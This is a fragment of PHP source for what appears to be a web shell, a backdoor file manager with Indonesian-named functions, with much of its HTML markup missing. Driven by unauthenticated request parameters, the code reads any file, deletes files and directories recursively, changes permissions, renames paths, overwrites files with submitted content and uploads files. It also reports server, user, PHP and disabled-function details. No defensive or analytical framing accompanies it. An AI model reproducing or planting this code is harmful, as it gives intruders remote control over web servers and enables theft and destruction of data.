HEX
NONE"; } else { $disf = "".$disfunc.""; } function author() { echo ''; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "writable"; } else { return "readonly"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "writable"; } else { return "readonly"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } ?>
Server:
System:
User:
PHP:
Disabled:
Upload Files
"; echo "
File: ".$_GET['fileloc']."
"; echo "
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
"; echo "
"; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete directory"); } else { green("Directory deleted"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete file"); } else { green("File deleted"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "
"; echo "
chmod ".$_POST['path']."
"; echo '
'; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Permission changed"); } else { red("Permission change failed"); } } echo "
"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Renamed successfully"); } else { red("Rename failed"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
"; echo "
mv ".$_POST['path']."
"; echo '
'; echo "
"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("File saved"); } else { red("Save failed"); } } echo "
"; echo "
nano ".$_POST['path']."
"; echo '
'; echo "
"; } ?>
"; } foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).'M'; } else { $size = $size.'K'; } echo ""; } ?>
Name Size Permissions Actions
📁 ".$dir." -- ".statusnya($lokasi."/".$dir)."
📄 $file ".$size." ".statusnya("$lokasi/$file")."